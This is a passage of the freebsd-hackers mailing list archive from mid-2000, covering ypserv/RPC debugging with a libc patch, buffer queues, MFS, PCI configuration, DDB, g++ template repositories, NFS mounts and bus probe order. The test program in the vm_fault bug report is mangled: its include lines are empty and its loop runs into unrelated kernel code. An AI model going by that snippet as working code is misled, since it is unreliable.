flags > UHLW for a host route. I have been manually deleting > them when I find them, but it is disconerting to keep > having this occur. I am not running routed or > anything like that. Has anyone else run into this? > Perhaps these are ICMP driven. Can anyone point me > to a good reference on ICMP (particularly blocking > redirects). > > Thanks, Kurt > > > > __________________________________________________ > Do You Yahoo!? > Send instant messages & get email alerts with Yahoo! Messenger. > http://im.yahoo.com/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 14:51:50 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.rpi.edu (mumble.cs.rpi.edu [128.213.8.16]) by hub.freebsd.org (Postfix) with ESMTP id BD8E137B751 for ; Wed, 31 May 2000 14:51:43 -0700 (PDT) (envelope-from crossd@cs.rpi.edu) Received: from cs.rpi.edu (monica.cs.rpi.edu [128.213.7.2]) by cs.rpi.edu (8.9.3/8.9.3) with ESMTP id RAA86135; Wed, 31 May 2000 17:51:38 -0400 (EDT) Message-Id: <200005312151.RAA86135@cs.rpi.edu> To: Guy Helmer Cc: "David E. Cross" , Matthew Dillon , freebsd-hackers@FreeBSD.ORG, crossd@cs.rpi.edu Subject: Re: PR #10971, not dead yet. In-Reply-To: Message from Guy Helmer of "Wed, 31 May 2000 15:12:34 CDT." Date: Wed, 31 May 2000 17:51:38 -0400 From: "David E. Cross" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Alas, this is not something I have been able to reliably reproduce, it seems > > to trigger itself every so-often (and at inconvienient times). But no > > matter what I do by myself it will not trip. > > Is it possibly related to a low-memory situation? I'm trying to solve a > problem in cron that sounds similar, and seems to be triggered when the > machine goes into swapping. I'm unable to duplicate it myself :-( > > Guy > > Guy Helmer, Ph.D. Candidate, Iowa State University Dept. of Computer Science > Research Assistant, Dept. of Computer Science --- ghelmer@cs.iastate.edu > http://www.cs.iastate.edu/~ghelmer This does not appear to be memory related at all. In fact, I *think* I just found it... (bear with me y'all) In the case of a TCP connect that requests a yp_all transfer we fork() off, and then try to do a very good job of not allowing the client to handle any requests other than the yp_all; however the following code snippet from readtcp() tries to do an end run around us it would appear: /* * reads data from the tcp conection. * any error is fatal and the connection is closed. * (And a read of zero bytes is a half closed stream => error.) * * Note: we have to be careful here not to allow ourselves to become * blocked too long in this routine. While we're waiting for data from one * client, another client may be trying to connect. To avoid this situation, * some code from svc_run() is transplanted here: the select() loop checks * all RPC descriptors including the one we want and calls svc_getreqset2() * to handle new requests if any are detected. */ This is the code that I noted gets run sometimes instead of the main select loop. Would it be a good idea to not only close all of the DB-fds, but also all network FDs, except for the request it is specifically being asked to handle, in the child ypserv? Would it be as easy as stepping through the fd_set and closing anything that != designated connection? I am still not sure this is the cause, as all of the database FDs should already be closed, so even if a child did answer the request it shouldn't cause trouble for the parent (and I do not see any evidence in the ktrace() that the child is responding outside of its yp_all request). Indeed, I have just verified this is the code that causes the segfault in this case (as indicated by the tell-tale gettimeofday calls that I could not previously track). I still have no idea what is causing the trboule though. Especially confusing is the following sequence of events: 41096 ypserv CALL fork 41096 ypserv RET fork 62356/0xf394 41096 ypserv CALL gettimeofday(0xbfbff510,0) 41096 ypserv RET gettimeofday 0 41096 ypserv CALL select(0x10,0x8051040,0,0,0xbfbff518) 41096 ypserv PSIG SIGCHLD caught handler=0x804c75c mask=0x0 code=0x0 41096 ypserv RET select -1 errno 4 Interrupted system call 41096 ypserv CALL wait4(0xffffffff,0xbfbff308,0x1,0) 41096 ypserv RET wait4 62356/0xf394 41096 ypserv CALL wait4(0xffffffff,0xbfbff308,0x1,0) 41096 ypserv RET wait4 -1 errno 10 No child processes 41096 ypserv CALL sigreturn(0xbfbff328) 41096 ypserv RET sigreturn JUSTRETURN 41096 ypserv CALL gettimeofday(0xbfbff510,0) 41096 ypserv RET gettimeofday 0 41096 ypserv CALL read(0x1c,0x80f3fa0,0xfa0) 41096 ypserv GIO fd 28 read 4000 bytes Note that the select returned with -1, with errno set to 4, and it did not re-enter the select loop, but just started to read data. Also note that following the 'CALL/RET fork' that it branches to a gettimeofday(), this says that since readtcp() is acting as a bit of svc_run() that *it* dispatched to the yp_all() handler, and then it forked there, without the special handling that is done in the normal yp_svc_run(). Does this give anyone else any ideas? This is proving to be a very slow battle. -- David Cross | email: crossd@cs.rpi.edu Lab Director | Rm: 308 Lally Hall Rensselaer Polytechnic Institute, | Ph: 518.276.2860 Department of Computer Science | Fax: 518.276.4033 I speak only for myself. | WinNT:Linux::Linux:FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 15:25:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from arjun.niksun.com (gwnew.niksun.com [206.20.52.130]) by hub.freebsd.org (Postfix) with ESMTP id 5F40E37B54C; Wed, 31 May 2000 15:25:14 -0700 (PDT) (envelope-from joy@niksun.com) Received: from falcon.niksun.com (falcon.niksun.com [10.0.0.167]) by arjun.niksun.com (8.9.3/8.9.3) with ESMTP id SAA59480; Wed, 31 May 2000 18:25:02 -0400 (EDT) (envelope-from joy@falcon.niksun.com) Message-ID: <39359159.F69A3BC@falcon.niksun.com> Date: Wed, 31 May 2000 18:25:30 -0400 From: Joy Ganguly X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers , fs Subject: QUEUE_VMIO...??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi all, what is the significance of QUEUE_VMIO buffer (struct buf) queue ?? as far as i could see they are not used at all....but maybe i am wrong. thanx in advance joy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 17:14:13 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.avantgo.com (ws1.avantgo.com [207.214.200.194]) by hub.freebsd.org (Postfix) with ESMTP id 249FA37B935 for ; Wed, 31 May 2000 17:14:08 -0700 (PDT) (envelope-from scott@avantgo.com) Received: from river.avantgo.com (river.avantgo.com [10.0.128.30]) by hermes.avantgo.com (Postfix) with ESMTP id 5AE3C20; Wed, 31 May 2000 17:14:08 -0700 (PDT) Date: Wed, 31 May 2000 17:14:23 -0700 (PDT) From: Scott Hess To: Michael Lucas Cc: hackers@FreeBSD.ORG Subject: Re: Proper uses for MFS? In-Reply-To: <200005251705.NAA67491@blackhelicopters.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 25 May 2000, Michael Lucas wrote: > I'm writing an article on Memory File System, just because I think > it's massively cool. > > We had a thread some time ago on why MFS wasn't useful for certain > applications. I searched through the mail archives, and found lots of > things MFS wouldn't be right for, but not much of the other way around. > > What are some good, reasonable use for MFS nowadays? I've used it to store lockfiles in a simple database server. There are a variety of fast alternatives I could have used, but none of them were nearly as simple as using filesystem operations. MFS makes the simple implementation more than fast enough that I don't care to do the extra work... Later, scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 17:28:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (www.slackware.com [204.216.27.13]) by hub.freebsd.org (Postfix) with ESMTP id 2C72D37BCD3 for ; Wed, 31 May 2000 17:28:28 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id RAA02574; Wed, 31 May 2000 17:31:01 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006010031.RAA02574@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Joy Ganguly Cc: freebsd-hackers Subject: Re: S5933 PCI Adapter..?? In-reply-to: Your message of "Fri, 26 May 2000 11:45:18 EDT." <392E9C0E.4B9EB0FB@falcon.niksun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 31 May 2000 17:31:01 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > hi all, > > i have a atm oc3 care which uses the amcc S5933 PCI adapter. however the > driver reports "unable to map mem" at boot time. i used pciconf to read > the configuration space base address registers and all of them showed > 0x00000000. however when i write all 1's t the base registers they give > me the proper mask. the device and vendor id configuration registers > show the right values. i think the bios is unable to assign physical > addresses. If you don't have "PnP OS" set, and the card doesn't get resources assigned, this means that there's a resource conflict that prevents the card from being configured. > how can i solve this problem?? one way out is to have the driver assign > physical addresses to map the pci space. however for that i need the > physical map...what data structure holds that?? Either turn "PnP OS" off, or fix the card/system. The driver can't do resource assignment like you're talking about. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 17:45: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 3FFA637B935 for ; Wed, 31 May 2000 17:44:57 -0700 (PDT) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 1 Jun 2000 01:44:56 +0100 (BST) To: "David E. Cross" Cc: Guy Helmer , Matthew Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: PR #10971, not dead yet. In-reply-to: Your message of "Wed, 31 May 2000 17:51:38 EDT." <200005312151.RAA86135@cs.rpi.edu> Date: Thu, 01 Jun 2000 01:44:55 +0100 From: Ian Dowse Message-ID: <200006010144.aa98926@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005312151.RAA86135@cs.rpi.edu>, "David E. Cross" writes: >though. Especially confusing is the following sequence of events: > > 41096 ypserv CALL select(0x10,0x8051040,0,0,0xbfbff518) > 41096 ypserv PSIG SIGCHLD caught handler=0x804c75c mask=0x0 code=0x0 ... > 41096 ypserv RET sigreturn JUSTRETURN > 41096 ypserv CALL gettimeofday(0xbfbff510,0) > 41096 ypserv RET gettimeofday 0 > 41096 ypserv CALL read(0x1c,0x80f3fa0,0xfa0) > 41096 ypserv GIO fd 28 read 4000 bytes > >Note that the select returned with -1, with errno set to 4, and it >did not re-enter the select loop, but just started to read data. Also note A quick glance at the RPC library suggests a possible reason for this sequence. It appears there is a bug in svc_{unix,tcp}.c's handling of EINTR returns from select() - the code seems to assume that a 'continue' inside a do-while loop skips the while condition. Try the patch below (note that I don't use ypserv, I haven't checked if ypserv uses this code etc etc, so this may have nothing to do with your problem). Ian Index: svc_tcp.c =================================================================== RCS file: /home/iedowse/CVS/src/lib/libc/rpc/svc_tcp.c,v retrieving revision 1.18 diff -u -r1.18 svc_tcp.c --- svc_tcp.c 2000/01/27 23:06:41 1.18 +++ svc_tcp.c 2000/06/01 00:21:26 @@ -360,6 +360,7 @@ if (tmp1.tv_sec < 0 || !timerisset(&tmp1)) goto fatal_err; delta = tmp1; + FD_CLR(sock, fds); continue; case 0: goto fatal_err; Index: svc_unix.c =================================================================== RCS file: /home/iedowse/CVS/src/lib/libc/rpc/svc_unix.c,v retrieving revision 1.7 diff -u -r1.7 svc_unix.c --- svc_unix.c 2000/01/27 23:06:42 1.7 +++ svc_unix.c 2000/06/01 00:23:25 @@ -402,6 +402,7 @@ if (tmp1.tv_sec < 0 || !timerisset(&tmp1)) goto fatal_err; delta = tmp1; + FD_CLR(sock, fds); continue; case 0: goto fatal_err; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 22:30:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id B5F1037B7FF; Wed, 31 May 2000 22:30:01 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id KAA09722; Thu, 1 Jun 2000 10:57:51 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Thu, 01 Jun 2000 10:57:49 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id KAA01258; Thu, 1 Jun 2000 10:57:49 +0530 Date: Thu, 1 Jun 2000 10:57:49 +0530 (IST) From: "G.B.Naidu" To: freebsd-hackers@FreeBSD.org Cc: freebsd-net@FreeBSD.org Subject: DDB is not setting break points... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am having problems with DDB while setting breakpoints in the kernel. I entered the DDB by giving kernel -d at boot prompt. After that I tried to set break point at ip_output() by giving "b ip_output". But it complains saying that "sumbol not found". I thought this might be due to stripped kernel.( I configured the kernel with -g option), so I installed the unstripped kernel. Still I am getting the same error message from DDB. Why it is not setting break points? Am I missing some thing? In the handbook chap 21, Note says: Note that if you have an older version of boot blocks. your debugger symbols might not be loaded at all. Update the bopot blocks; I am having a doubt that is it due to older version of boot blocks? I am running FreeBSD 3.3-RELEASE. How do I findout that whether my boot blocks are older? In the first place is it the reason for DDB complaining about symbols not found? Any help is appreciated. thanks --gb -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 23:20:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7B06B37B58A; Wed, 31 May 2000 23:20:35 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id XAA32748; Wed, 31 May 2000 23:20:31 -0700 (PDT) (envelope-from dillon) Date: Wed, 31 May 2000 23:20:31 -0700 (PDT) From: Matthew Dillon Message-Id: <200006010620.XAA32748@apollo.backplane.com> To: Joy Ganguly Cc: freebsd-hackers , fs Subject: Re: QUEUE_VMIO...??? References: <39359159.F69A3BC@falcon.niksun.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :hi all, : :what is the significance of QUEUE_VMIO buffer (struct buf) queue ?? as :far as i could see they are not used at all....but maybe i am wrong. : :thanx in advance : :joy There is no QUEUE_VMIO queue. There's: QUEUE_NONE, QUEUE_LOCKED, QUEUE_CLEAN, QUEUE_DIRTY, QUEUE_EMPTYKVA, and QUEUE_EMPTY. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 23:39:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id 46D3137B58A for ; Wed, 31 May 2000 23:35:08 -0700 (PDT) (envelope-from fjoe@iclub.nsu.ru) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id NAA06840 for ; Thu, 1 Jun 2000 13:34:20 +0700 (NSS) (envelope-from fjoe@iclub.nsu.ru) Date: Thu, 1 Jun 2000 13:34:20 +0700 (NSS) From: Max Khon To: freebsd-hackers@freebsd.org Subject: Re: Instantiating templates with -frepo ? In-Reply-To: <00053110270200.78429@stout.troikanetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! On Wed, 31 May 2000, Kevin Bailey wrote: > Does anyone know how to get -frepo working with g++ ? > This is what I get when I compile the attached program: > > % g++ -c -frepo temptest.cpp > % g++ -frepo temptest.o > temptest.o: In function `main': > temptest.o(.text+0x57): undefined reference to `void printit(ClassA &)' > > Here are the versions of the programs. As you can see, I've > 'upgraded' to binutils-2.9.1.0.25 without it making a difference. > This is on FreeBSD 4.0. > > % g++ -v > Using builtin specs. > gcc version 2.95.2 19991024 (release) > % ld -v > GNU ld version 2.9.1 (with BFD 2.9.1.0.25) two questions: - do you have collect2 built? our stock g++ does not have collect2 (but g++ built from ports does) - make sure that both binutils and collect2 use the same versions of cplus-dem.c (binutils have cplus-dem.c in libiberty which is linked with all of them statically IIRC). libiberty does not have its own version numbers (what a mess!) so sometimes ld and collect2 use different demanglers. that makes -frepo impossible /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 23:59:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id B98C137B68E for ; Wed, 31 May 2000 23:59:30 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 24759 invoked from network); 1 Jun 2000 06:59:28 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 1 Jun 2000 06:59:28 -0000 Date: Thu, 1 Jun 2000 16:59:24 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Joy Ganguly Cc: freebsd-hackers , fs Subject: Re: QUEUE_VMIO...??? In-Reply-To: <39359159.F69A3BC@falcon.niksun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 31 May 2000, Joy Ganguly wrote: > what is the significance of QUEUE_VMIO buffer (struct buf) queue ?? as > far as i could see they are not used at all....but maybe i am wrong. It signifies bitrot. Its use was removed more than 5 years ago in rev.1.35 of sys/kern/vfs_bio.c, but its definition was not removed until less than a year ago in rev.1.75 of sys/sys/buf.h. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 2:21: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from oleg.vsi.ru (oleg.vsi.ru [213.24.136.12]) by hub.freebsd.org (Postfix) with ESMTP id F2FEE37B580 for ; Thu, 1 Jun 2000 02:21:03 -0700 (PDT) (envelope-from oleg@oleg.vsi.ru) Received: from localhost (oleg@localhost) by oleg.vsi.ru (8.9.3/8.9.3) with ESMTP id NAA00477 for ; Thu, 1 Jun 2000 13:21:01 +0400 (MSD) (envelope-from oleg@oleg.vsi.ru) Date: Thu, 1 Jun 2000 13:21:01 +0400 (MSD) From: Oleg Derevenetz To: freebsd-hackers@freebsd.org Subject: vm_fault() problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems to be a problem in vm/vm_fault() and vnode_pager_generic_putpages() in FreeBSD 3.x & 4.0. The following code illustrates the problem: #include #include #include #include #include #define COUNT 1024 #define SIZE 10*1024*1024 int main () { int i,j,fd; char *fptr, fname [16]; for (i=0;ip_ucred); cnt.v_vnodeout++; cnt.v_vnodepgsout += ncount; if (error) { printf("vnode_pager_putpages: I/O error %d\n", error); } if (auio.uio_resid) { printf("vnode_pager_putpages: residual I/O %d at %lu\n", auio.uio_resid, (u_long)m[0]->pindex); } for (i = 0; i < ncount; i++) { rtvals[i] = VM_PAGER_OK; /* ???? */ } return rtvals[0]; /* ???? */ So, such errors as I/O errors, are not handled there. This seems to be a serious problem in FreeBSD VM subsystem, isn't it ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 4:47:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 3539837B8FB; Thu, 1 Jun 2000 04:47:00 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id RAA25645; Thu, 1 Jun 2000 17:14:46 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Thu, 01 Jun 2000 17:14:44 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id RAA01458; Thu, 1 Jun 2000 17:14:41 +0530 Date: Thu, 1 Jun 2000 17:14:41 +0530 (IST) From: "G.B.Naidu" To: freebsd-net@FreeBSD.org Cc: freebsd-hackers@FreeBSD.org Subject: DDB is not setting break points... (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Have posted this questoin earlier. I have got no replies. Some body take some time to clarify this? thanks --gb -- ---------- Forwarded message ---------- Date: Thu, 1 Jun 2000 10:57:49 +0530 (IST) From: G.B.Naidu To: freebsd-hackers@FreeBSD.ORG Cc: freebsd-net@FreeBSD.ORG Subject: DDB is not setting break points... Hi, I am having problems with DDB while setting breakpoints in the kernel. I entered the DDB by giving kernel -d at boot prompt. After that I tried to set break point at ip_output() by giving "b ip_output". But it complains saying that "sumbol not found". I thought this might be due to stripped kernel.( I configured the kernel with -g option), so I installed the unstripped kernel. Still I am getting the same error message from DDB. Why it is not setting break points? Am I missing some thing? In the handbook chap 21, Note says: Note that if you have an older version of boot blocks. your debugger symbols might not be loaded at all. Update the bopot blocks; I am having a doubt that is it due to older version of boot blocks? I am running FreeBSD 3.3-RELEASE. How do I findout that whether my boot blocks are older? In the first place is it the reason for DDB complaining about symbols not found? Any help is appreciated. thanks --gb -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 7:19:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id A154E37B9DB for ; Thu, 1 Jun 2000 07:19:09 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id KAA02495 for ; Thu, 1 Jun 2000 10:23:55 -0400 (EDT) Message-Id: <200006011423.KAA02495@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 01 Jun 2000 10:23:45 -0400 To: hackers@freebsd.org From: Dennis Subject: multiple nfs mounts in 4.0-stable Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG it seems that mount a.b.c.d:/dir /mntpoint mount a.b.c.d:/dir2 /mntpoint will result in 2 mounts showing in the mount table. I dont recall this happening in 3.x, and it seems quite wrong. (shouldnt the second attempt return a busy)? DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 8:14: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 6BDC137B6C4; Thu, 1 Jun 2000 08:14:04 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id LAA02647; Thu, 1 Jun 2000 11:18:47 -0400 (EDT) Message-Id: <200006011518.LAA02647@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 01 Jun 2000 11:18:36 -0400 To: Mike Smith , Joy Ganguly From: Dennis Subject: Re: S5933 PCI Adapter..?? Cc: freebsd-hackers In-Reply-To: <200006010031.RAA02574@mass.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 05:31 PM 5/31/00 -0700, Mike Smith wrote: >> hi all, >> >> i have a atm oc3 care which uses the amcc S5933 PCI adapter. however the >> driver reports "unable to map mem" at boot time. i used pciconf to read >> the configuration space base address registers and all of them showed >> 0x00000000. however when i write all 1's t the base registers they give >> me the proper mask. the device and vendor id configuration registers >> show the right values. i think the bios is unable to assign physical >> addresses. Have you done bus performance testing with this card? Given the architechture of the AMCC part, it seems highly improbable that you will be able to get high throughput with such a card. Because the AMCC part requires external logic it is impossible to do pass-through single cycle bursts, which is required for efficient utilization of the PCI bus. Once you begin holding off cycles the PCI bus totally pigs out (which is why virtually all high-speed pci solutions are single-chip type designs). Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 8:43:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 2D4B937BE0B for ; Thu, 1 Jun 2000 08:43:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id IAA38941; Thu, 1 Jun 2000 08:43:48 -0700 (PDT) (envelope-from dillon) Date: Thu, 1 Jun 2000 08:43:48 -0700 (PDT) From: Matthew Dillon Message-Id: <200006011543.IAA38941@apollo.backplane.com> To: Dennis Cc: hackers@FreeBSD.ORG Subject: Re: multiple nfs mounts in 4.0-stable References: <200006011423.KAA02495@etinc.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :it seems that : :mount a.b.c.d:/dir /mntpoint :mount a.b.c.d:/dir2 /mntpoint : :will result in 2 mounts showing in the mount table. I dont recall this :happening in 3.x, and it seems quite wrong. (shouldnt the second attempt :return a busy)? : :DB This is how it worked in 3.x too. The second mount is simply mounted on top of the first. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 8:50:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id D859837BF49; Thu, 1 Jun 2000 08:50:08 -0700 (PDT) (envelope-from fred@veriohosting.com) Received: by gatekeeper.veriohosting.com; Thu, 1 Jun 2000 09:50:08 -0600 (MDT) Received: from unknown(192.168.1.7) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma022999; Thu, 1 Jun 00 09:49:46 -0600 Received: from vespa.orem.iserver.com (vespa.orem.iserver.com [192.168.1.144]) by orca.orem.veriohosting.com [Verio Web Hosting, Inc. 801.437.0200] (8.8.8) id JAA57013; Thu, 1 Jun 2000 09:49:45 -0600 (MDT) Date: Thu, 1 Jun 2000 09:54:23 -0600 (MDT) From: Fred Clift X-Sender: fred@vespa.orem.iserver.com To: freebsd-hackers@freebsd.org, freebsd-stable@freebsd.org Subject: changed pci bus probe order from 3.2 to 4.0 -- ideas? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi. I've just switched to 4.0 right now and I have a problem. (well the first problem is that I dont know enough about freebsd, but I digress) I have two fxp network cards in box (intel ether express pro 10/100), one of which is integrated into the motherboard, the other of which is pluged into an active pci riser card. In 3.2 and 4.0, the pci-bus on the riser card is pci3 and the 'integrated' pci bus is 0. In 3.2 pci0 is scanned first, for devices and the integrated card is found and made fxp0, then pci1, pci2 and finally pci3, finding the second card, making it fxp1. In 4.0 it seems that pci3, then pci2 then pci1 then pci0 are being probed, finding the cards in the other order, and swapping what is fxp0 and fxp1. The problem is that the cards get swapped. It's a long story as to why switching cables, or changing which card gets which IP address isn't really a good solution. The short answer is that the second card doesn't actually ever have a network cable plugged into it at all, and is just there as a carrier of a home-brew network boot-bios. So, is there some way in the kernel config file to wire down which busses fxp0 and fxp1 live on? The only experience I have with this is playing around with isa sound cards in my desktop machine... Or alternatively, I _think_ that the bus probe stuff is in /usr/src/sys/kern/subr_bus.c I tried fiddling with device_add_child and device_add_child_ordered, but in retrospect it seems that that would just ocntrol the order in which an individual bus is scanned. How can I change the order in which the busses are scanned? Thanks in advance for any help you can give me. Fred -- Fred Clift - fred@veriohosting.com -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 9:38:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id 